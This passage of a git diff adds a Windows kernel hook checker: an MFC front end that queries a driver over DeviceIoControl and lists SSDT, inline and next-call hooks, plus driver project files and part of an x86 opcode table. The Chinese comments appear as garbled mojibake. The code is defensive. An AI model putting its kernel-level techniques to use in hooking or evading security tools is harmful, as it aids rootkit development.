ŇÔ±ăÍËłöÓ¦ÓĂłĚĐňŁ¬ + // ¶ř˛»ĘÇĆô¶ŻÓ¦ÓĂłĚĐňµÄĎűϢ±ĂˇŁ + return FALSE; +} + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h new file mode 100644 index 00000000..adcc8ca2 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h @@ -0,0 +1,32 @@ + +// CheckKernelHook.h : PROJECT_NAME Ó¦ÓĂłĚĐňµÄÖ÷Í·ÎÄĽţ +// + +#pragma once + +#ifndef __AFXWIN_H__ + #error "ÔÚ°üş¬´ËÎÄĽţ֮ǰ°üş¬ˇ°stdafx.hˇ±ŇÔÉúłÉ PCH ÎÄĽţ" +#endif + +#include "resource.h" // Ö÷·űşĹ + + +// CCheckKernelHookApp: +// ÓйشËŔŕµÄʵĎÖŁ¬Çë˛ÎÔÄ CheckKernelHook.cpp +// + +class CCheckKernelHookApp : public CWinApp +{ +public: + CCheckKernelHookApp(); + +// ÖŘĐ´ +public: + virtual BOOL InitInstance(); + +// ʵĎÖ + + DECLARE_MESSAGE_MAP() +}; + +extern CCheckKernelHookApp theApp; \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc new file mode 100644 index 00000000..b8a1ec87 Binary files /dev/null and b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc differ diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj new file mode 100644 index 00000000..58404b4b --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj @@ -0,0 +1,129 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {D49C7CB9-A5C2-4377-A234-7C440407A30E} + CheckKernelHook + MFCProj + + + + Application + true + Unicode + Dynamic + + + Application + false + true + Unicode + Dynamic + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions) + + + Windows + true + + + false + true + _DEBUG;%(PreprocessorDefinitions) + + + 0x0804 + _DEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions) + + + Windows + true + true + true + + + false + true + NDEBUG;%(PreprocessorDefinitions) + + + 0x0804 + NDEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + + + + + + + + + + + + + + + + + Create + Create + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters new file mode 100644 index 00000000..70a6bfaa --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters @@ -0,0 +1,65 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + 资ćşć–‡ä»¶ + + + 资ćşć–‡ä»¶ + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + ćşć–‡ä»¶ + + + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + ćşć–‡ä»¶ + + + + + 资ćşć–‡ä»¶ + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp new file mode 100644 index 00000000..8a2bf7e8 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp @@ -0,0 +1,283 @@ + +// CheckKernelHookDlg.cpp : ʵĎÖÎÄĽţ +// + +#include "stdafx.h" +#include "CheckKernelHook.h" +#include "CheckKernelHookDlg.h" +#include "afxdialogex.h" +#include "AddService.h" +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +HANDLE g_hDevice = NULL; + +typedef struct +{ + WCHAR* szTitle; //ÁбíµÄĂűłĆ + int nWidth; //ÁбíµÄżí¶Č + +}COLUMNSTRUCT; +COLUMNSTRUCT g_Column_Data_Online[] = +{ + {L"Ô­ĘĽµŘÖ·", 148 }, + {L"şŻĘýĂűłĆ", 150 }, + {L"HookµŘÖ·", 160 }, + {L"ÄŁżéĂűłĆ", 300 }, + {L"ÄŁżé»ůÖ·", 80 }, + {L"ÄŁżé´óС", 81 }, + {L"ŔŕĐÍ", 81 } +}; + +int g_Column_Count_Online = 7; //ÁбíµÄ¸öĘý +int g_Column_Online_Width = 0; + + +// ÓĂÓÚÓ¦ÓĂłĚĐňˇ°ąŘÓÚˇ±˛ËµĄĎîµÄ CAboutDlg ¶Ô»°żň + +class CAboutDlg : public CDialogEx +{ +public: + CAboutDlg(); + +// ¶Ô»°żňĘýľÝ + enum { IDD = IDD_ABOUTBOX }; + + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV Ö§łÖ + +// ʵĎÖ +protected: + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD) +{ +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); +} + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx) +END_MESSAGE_MAP() + + +// CCheckKernelHookDlg ¶Ô»°żň + + + + +CCheckKernelHookDlg::CCheckKernelHookDlg(CWnd* pParent /*=NULL*/) + : CDialogEx(CCheckKernelHookDlg::IDD, pParent) +{ + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); +} + +void CCheckKernelHookDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST, m_List); +} + +BEGIN_MESSAGE_MAP(CCheckKernelHookDlg, CDialogEx) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() +END_MESSAGE_MAP() + + +// CCheckKernelHookDlg ĎűϢ´¦ŔíłĚĐň + +BOOL CCheckKernelHookDlg::OnInitDialog() +{ + CDialogEx::OnInitDialog(); + + // ˝«ˇ°ąŘÓÚ...ˇ±˛ËµĄĎîĚíĽÓµ˝ĎµÍł˛ËµĄÖСŁ + + // IDM_ABOUTBOX ±ŘĐëÔÚϵͳĂüÁΧÄÚˇŁ + ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); + ASSERT(IDM_ABOUTBOX < 0xF000); + + CMenu* pSysMenu = GetSystemMenu(FALSE); + if (pSysMenu != NULL) + { + BOOL bNameValid; + CString strAboutMenu; + bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX); + ASSERT(bNameValid); + if (!strAboutMenu.IsEmpty()) + { + pSysMenu->AppendMenu(MF_SEPARATOR); + pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); + } + } + + // ÉčÖô˶Ի°żňµÄÍĽ±ęˇŁµ±Ó¦ÓĂłĚĐňÖ÷´°żÚ˛»ĘǶԻ°żňʱŁ¬żňĽÜ˝«×Ô¶Ż + // Ö´Đд˲Ů×÷ + SetIcon(m_hIcon, TRUE); // ÉčÖĂ´óÍĽ±ę + SetIcon(m_hIcon, FALSE); // ÉčÖĂСͼ±ę + + m_List.SetExtendedStyle(LVS_EX_FULLROWSELECT); + for (int i = 0; i < g_Column_Count_Online; i++) + { + m_List.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth); + + g_Column_Online_Width+=g_Column_Data_Online[i].nWidth; + } + + + //LoadDrv(L"CheckKernelHook"); + + g_hDevice = OpenDevice(L"\\\\.\\CheckKernelHookLinkName"); + if (g_hDevice==(HANDLE)-1) + { + MessageBox(L"´ňżŞÉ豸ʧ°Ü"); + return TRUE; + } + + + + + CheckKernelHook(); + + return TRUE; // łý·Ç˝«˝ąµăÉčÖõ˝żŘĽţŁ¬·ńÔň·µ»Ř TRUE +} + +VOID CCheckKernelHookDlg::CheckKernelHook() +{ + ULONG_PTR ulCount = 0x1000; + PINLINEHOOKINFO PInlineHookInfo = NULL; + BOOL bRet = FALSE; + DWORD ulReturnSize = 0; + do + { + ULONG_PTR ulSize = 0; + if (PInlineHookInfo) + { + free(PInlineHookInfo); + PInlineHookInfo = NULL; + } + ulSize = sizeof(INLINEHOOKINFO) + ulCount * sizeof(INLINEHOOKINFO_INFORMATION); + PInlineHookInfo = (PINLINEHOOKINFO)malloc(ulSize); + if (!PInlineHookInfo) + { + break; + } + memset(PInlineHookInfo,0,ulSize); + bRet = DeviceIoControl(g_hDevice,CTL_CHECKKERNELMODULE, + NULL, + 0, + PInlineHookInfo, + ulSize, + &ulReturnSize, + NULL); + ulCount = PInlineHookInfo->ulCount + 1000; + } while (bRet == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER); + + if(PInlineHookInfo->ulCount==0) + { + MessageBox(L"µ±Ç°Äں˰˛Č«",L""); + } + else + { + InsertDataToList(PInlineHookInfo); + } + if (PInlineHookInfo) + { + free(PInlineHookInfo); + PInlineHookInfo = NULL; + } + + +} + +VOID CCheckKernelHookDlg::InsertDataToList(PINLINEHOOKINFO PInlineHookInfo) +{ + CString OrgAddress,CurAddress,ModuleBase,ModuleSize; + for(int i=0;iulCount;i++) + { + OrgAddress.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulMemoryFunctionBase); + CurAddress.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulMemoryHookBase); + ModuleBase.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulHookModuleBase); + ModuleSize.Format(L"%d",PInlineHookInfo->InlineHook[i].ulHookModuleSize); + int n = m_List.InsertItem(m_List.GetItemCount(),OrgAddress,0); //עŇâŐâŔďµÄi ľÍĘÇIcon ÔÚĘý×éµÄλÖĂ + CString szFunc=L""; + CString ModuleName = L""; + szFunc +=PInlineHookInfo->InlineHook[i].lpszFunction; + ModuleName += PInlineHookInfo->InlineHook[i].lpszHookModuleImage; + m_List.SetItemText(n,1,szFunc); + m_List.SetItemText(n,2,CurAddress); + m_List.SetItemText(n,3,ModuleName); + m_List.SetItemText(n,4,ModuleBase); + m_List.SetItemText(n,5,ModuleSize); + CString Type= L""; + if(PInlineHookInfo->InlineHook[i].ulHookType==1) + { + Type +=L"SSDT Hook"; + } + else if(PInlineHookInfo->InlineHook[i].ulHookType==2) + { + Type +=L"Next Call Hook"; + } + else if(PInlineHookInfo->InlineHook[i].ulHookType==0) + { + Type +=L"Inline Hook"; + } + m_List.SetItemText(n,6,Type); + + } + UpdateData(TRUE); +} +void CCheckKernelHookDlg::OnSysCommand(UINT nID, LPARAM lParam) +{ + if ((nID & 0xFFF0) == IDM_ABOUTBOX) + { + CAboutDlg dlgAbout; + dlgAbout.DoModal(); + } + else + { + CDialogEx::OnSysCommand(nID, lParam); + } +} + +// ČçąűĎň¶Ô»°żňĚíĽÓ×îС»Ż°´ĹĄŁ¬ÔňĐčŇŞĎÂĂćµÄ´úÂë +// Ŕ´»ćÖƸĂÍĽ±ęˇŁ¶ÔÓÚĘąÓĂÎĵµ/ĘÓÍĽÄŁĐ굀 MFC Ó¦ÓĂłĚĐňŁ¬ +// Ő⽫ÓÉżňĽÜ×Ô¶ŻÍęłÉˇŁ + +void CCheckKernelHookDlg::OnPaint() +{ + if (IsIconic()) + { + CPaintDC dc(this); // ÓĂÓÚ»ćÖƵÄÉ豸ÉĎĎÂÎÄ + + SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0); + + // ʹͼ±ęÔÚą¤×÷ÇřľŘĐÎÖĐľÓÖĐ + int cxIcon = GetSystemMetrics(SM_CXICON); + int cyIcon = GetSystemMetrics(SM_CYICON); + CRect rect; + GetClientRect(&rect); + int x = (rect.Width() - cxIcon + 1) / 2; + int y = (rect.Height() - cyIcon + 1) / 2; + + // »ćÖĆÍĽ±ę + dc.DrawIcon(x, y, m_hIcon); + } + else + { + CDialogEx::OnPaint(); + } +} + +//µ±ÓĂ»§Í϶Ż×îС»Ż´°żÚʱϵͳµ÷ÓĂ´ËşŻĘýȡµĂąâ±ę +//ĎÔĘľˇŁ +HCURSOR CCheckKernelHookDlg::OnQueryDragIcon() +{ + return static_cast(m_hIcon); +} + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h new file mode 100644 index 00000000..c5dfea11 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.h @@ -0,0 +1,76 @@ + +// CheckKernelHookDlg.h : Í·ÎÄĽţ +// + +#pragma once +#include "afxcmn.h" +#include "resource.h" +#include + + +typedef struct _INLINEHOOKINFO_INFORMATION { //INLINEHOOKINFO_INFORMATION + ULONG ulHookType; + ULONG ulMemoryFunctionBase; //Ô­ĘĽµŘÖ· + ULONG ulMemoryHookBase; //HOOK µŘÖ· + CHAR lpszFunction[256]; + CHAR lpszHookModuleImage[256]; + ULONG ulHookModuleBase; + ULONG ulHookModuleSize; + +} INLINEHOOKINFO_INFORMATION, *PINLINEHOOKINFO_INFORMATION; + +typedef struct _INLINEHOOKINFO { //InlineHook + ULONG ulCount; + INLINEHOOKINFO_INFORMATION InlineHook[1]; +} INLINEHOOKINFO, *PINLINEHOOKINFO; + + + + +#define CTL_CHECKKERNELMODULE \ + CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_NEITHER,FILE_ANY_ACCESS) + +// CCheckKernelHookDlg ¶Ô»°żň +class CCheckKernelHookDlg : public CDialogEx +{ +// ąąÔě +public: + CCheckKernelHookDlg(CWnd* pParent = NULL); // ±ę׼ąąÔ캯Ęý + +// ¶Ô»°żňĘýľÝ + enum { IDD = IDD_CHECKKERNELHOOK_DIALOG }; + + VOID CheckKernelHook(); + VOID InsertDataToList(PINLINEHOOKINFO PInlineHookInfo); + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV Ö§łÖ + + HANDLE OpenDevice(LPCTSTR wzLinkPath) + { + HANDLE hDevice = CreateFile(wzLinkPath, + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL); + if (hDevice == INVALID_HANDLE_VALUE) + { + } + return hDevice; + } + + +// ʵĎÖ +protected: + HICON m_hIcon; + + // ÉúłÉµÄĎűϢӳÉ亯Ęý + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + DECLARE_MESSAGE_MAP() +public: + CListCtrl m_List; +}; diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico new file mode 100644 index 00000000..d56fbcdf Binary files /dev/null and b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.ico differ diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2 b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2 new file mode 100644 index 00000000..c73b92b2 Binary files /dev/null and b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/CheckKernelHook.rc2 differ diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt new file mode 100644 index 00000000..bca57cf6 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/res/ReadMe.txt @@ -0,0 +1 @@ +Check Kernel EAT Hook diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h new file mode 100644 index 00000000..22343152 Binary files /dev/null and b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/resource.h differ diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp new file mode 100644 index 00000000..0ae689db --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.cpp @@ -0,0 +1,8 @@ + +// stdafx.cpp : Ö»°üŔ¨±ę׼°üş¬ÎÄĽţµÄÔ´ÎÄĽţ +// CheckKernelHook.pch ˝«×÷ÎŞÔ¤±ŕŇëÍ· +// stdafx.obj ˝«°üş¬Ô¤±ŕŇëŔŕĐÍĐĹϢ + +#include "stdafx.h" + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h new file mode 100644 index 00000000..fac76315 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/stdafx.h @@ -0,0 +1,58 @@ + +// stdafx.h : ±ę׼ϵͳ°üş¬ÎÄĽţµÄ°üş¬ÎÄĽţŁ¬ +// »ňĘÇľ­łŁĘąÓõ«˛»łŁ¸ü¸ÄµÄ +// Ěض¨ÓÚĎîÄżµÄ°üş¬ÎÄĽţ + +#pragma once + +#ifndef _SECURE_ATL +#define _SECURE_ATL 1 +#endif + +#ifndef VC_EXTRALEAN +#define VC_EXTRALEAN // ´Ó Windows Í·ÖĐĹĹłýĽ«ÉŮĘąÓõÄ×ĘÁĎ +#endif + +#include "targetver.h" + +#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString ąąÔ캯Ęý˝«ĘÇĎÔĘ˝µÄ + +// ąŘ±Ő MFC ¶ÔijЩłŁĽűµ«ľ­łŁżÉ·ĹĐÄşöÂԵľŻ¸ćĎűϢµÄŇţ˛Ř +#define _AFX_ALL_WARNINGS + +#include // MFC şËĐÄ×éĽţşÍ±ę׼×éĽţ +#include // MFC Ŕ©Őą + + +#include // MFC ×Ô¶Ż»ŻŔŕ + + + +#ifndef _AFX_NO_OLE_SUPPORT +#include // MFC ¶Ô Internet Explorer 4 ą«ą˛żŘĽţµÄÖ§łÖ +#endif +#ifndef _AFX_NO_AFXCMN_SUPPORT +#include // MFC ¶Ô Windows ą«ą˛żŘĽţµÄÖ§łÖ +#endif // _AFX_NO_AFXCMN_SUPPORT + +#include // ą¦ÄÜÇřşÍżŘĽţĚőµÄ MFC Ö§łÖ + + + + + + + + + +#ifdef _UNICODE +#if defined _M_IX86 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") +#elif defined _M_X64 +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") +#else +#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") +#endif +#endif + + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h new file mode 100644 index 00000000..0afac5bb --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// °üŔ¨ SDKDDKVer.h ˝«¶¨Ňĺ×î¸ß°ć±ľµÄżÉÓĂ Windows ƽ̨ˇŁ + +// ČçąűŇŞÎŞŇÔÇ°µÄ Windows ƽ̨ÉúłÉÓ¦ÓĂłĚĐňŁ¬Çë°üŔ¨ WinSDKVer.hŁ¬˛˘˝« +// WIN32_WINNT şęÉčÖĂÎŞŇŞÖ§łÖµÄƽ̨Ł¬Č»şóÔŮ°üŔ¨ SDKDDKVer.hˇŁ + +#include diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln new file mode 100644 index 00000000..18664a1f --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CheckKernelHook", "CheckKernelHook\CheckKernelHook.vcxproj", "{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.ActiveCfg = WinDDK|Win32 + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Debug|Win32.Build.0 = WinDDK|Win32 + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.ActiveCfg = WinDDK|Win32 + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.Release|Win32.Build.0 = WinDDK|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj new file mode 100644 index 00000000..326ca31b --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj @@ -0,0 +1,82 @@ + + + + + WinDDK + Win32 + + + + + + + + + + + + + + + + + + + + + + + + + + + + {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41} + Win32Proj + "CheckKernelHook" + + + + + + + + .sys + false + $(WLHBASE)\bin\x86\x86;$(WLHBASE)\bin\x86 + $(WLHBASE)\inc\api;$(WLHBASE)\inc\crt;$(WLHBASE)\inc\ddk;$(WLHBASE)\inc + + $(WLHBASE)\lib\win7\i386 + + + + + + _X86_;DBG=1 + false + false + StdCall + CompileAsC + + + + + ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies) + + + true + Native + Driver + DriverEntry + true + 0x10000 + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters new file mode 100644 index 00000000..eda87dca --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters @@ -0,0 +1,48 @@ + + + + + + + + + Reload + + + Reload + + + Reload + + + Reload + + + + + + + + + + Reload + + + Reload + + + Reload + + + Reload + + + + + + + + {7f84aa62-4fe1-452a-a193-32b7b7a3e2db} + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c new file mode 100644 index 00000000..75921402 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c @@ -0,0 +1,783 @@ +#include "Common.h" +#include "Reload.h" + + + +UCHAR OpcodeFlags[256] = +{ + OP_MODRM, // 00 + OP_MODRM, // 01 + OP_MODRM, // 02 + OP_MODRM, // 03 + OP_DATA_I8, // 04 + OP_DATA_PRE66_67, // 05 + OP_NONE, // 06 + OP_NONE, // 07 + OP_MODRM, // 08 + OP_MODRM, // 09 + OP_MODRM, // 0A + OP_MODRM, // 0B + OP_DATA_I8, // 0C + OP_DATA_PRE66_67, // 0D + OP_NONE, // 0E + OP_NONE, // 0F + OP_MODRM, // 10 + OP_MODRM, // 11 + OP_MODRM, // 12 + OP_MODRM, // 13 + OP_DATA_I8, // 14 + OP_DATA_PRE66_67, // 15 + OP_NONE, // 16 + OP_NONE, // 17 + OP_MODRM, // 18 + OP_MODRM, // 19 + OP_MODRM, // 1A + OP_MODRM, // 1B + OP_DATA_I8, // 1C + OP_DATA_PRE66_67, // 1D + OP_NONE, // 1E + OP_NONE, // 1F + OP_MODRM, // 20 + OP_MODRM, // 21 + OP_MODRM, // 22 + OP_MODRM, // 23 + OP_DATA_I8, // 24 + OP_DATA_PRE66_67, // 25 + OP_NONE, // 26 + OP_NONE, // 27 + OP_MODRM, // 28 + OP_MODRM, // 29 + OP_MODRM, // 2A + OP_MODRM, // 2B + OP_DATA_I8, // 2C + OP_DATA_PRE66_67, // 2D + OP_NONE, // 2E + OP_NONE, // 2F + OP_MODRM, // 30 + OP_MODRM, // 31 + OP_MODRM, // 32 + OP_MODRM, // 33 + OP_DATA_I8, // 34 + OP_DATA_PRE66_67, // 35 + OP_NONE, // 36 + OP_NONE, // 37 + OP_MODRM, // 38 + OP_MODRM, // 39 + OP_MODRM, // 3A + OP_MODRM, // 3B + OP_DATA_I8, // 3C + OP_DATA_PRE66_67, // 3D + OP_NONE, // 3E + OP_NONE, // 3F + OP_NONE, // 40 + OP_NONE, // 41 + OP_NONE, // 42 + OP_NONE, // 43 + OP_NONE, // 44 + OP_NONE, // 45 + OP_NONE, // 46 + OP_NONE, // 47 + OP_NONE, // 48 + OP_NONE, // 49 + OP_NONE, // 4A + OP_NONE, // 4B + OP_NONE, // 4C + OP_NONE, // 4D + OP_NONE, // 4E + OP_NONE, // 4F + OP_NONE, // 50 + OP_NONE, // 51 + OP_NONE, // 52 + OP_NONE, // 53 + OP_NONE, // 54 + OP_NONE, // 55 + OP_NONE, // 56 + OP_NONE, // 57 + OP_NONE, // 58 + OP_NONE, // 59 + OP_NONE, // 5A + OP_NONE, // 5B + OP_NONE, // 5C + OP_NONE, // 5D + OP_NONE, // 5E + OP_NONE, // 5F + OP_NONE, // 60 + OP_NONE, // 61 + OP_MODRM, // 62 + OP_MODRM, // 63 + OP_NONE, // 64 + OP_NONE, // 65 + OP_NONE, // 66 + OP_NONE, // 67 + OP_DATA_PRE66_67, // 68 + OP_MODRM | OP_DATA_PRE66_67, // 69 + OP_DATA_I8, // 6A + OP_MODRM | OP_DATA_I8, // 6B + OP_NONE, // 6C + OP_NONE, // 6D + OP_NONE, // 6E + OP_NONE, // 6F + OP_DATA_I8, // 70 + OP_DATA_I8, // 71 + OP_DATA_I8, // 72 + OP_DATA_I8, // 73 + OP_DATA_I8, // 74 + OP_DATA_I8, // 75 + OP_DATA_I8, // 76 + OP_DATA_I8, // 77 + OP_DATA_I8, // 78 + OP_DATA_I8, // 79 + OP_DATA_I8, // 7A + OP_DATA_I8, // 7B + OP_DATA_I8, // 7C + OP_DATA_I8, // 7D + OP_DATA_I8, // 7E + OP_DATA_I8, // 7F + OP_MODRM | OP_DATA_I8, // 80 + OP_MODRM | OP_DATA_PRE66_67, // 81 + OP_MODRM | OP_DATA_I8, // 82 + OP_MODRM | OP_DATA_I8, // 83 + OP_MODRM, // 84 + OP_MODRM, // 85 + OP_MODRM, // 86 + OP_MODRM, // 87 + OP_MODRM, // 88 + OP_MODRM, // 89 + OP_MODRM, // 8A + OP_MODRM, // 8B + OP_MODRM, // 8C + OP_MODRM, // 8D + OP_MODRM, // 8E + OP_MODRM, // 8F + OP_NONE, // 90 + 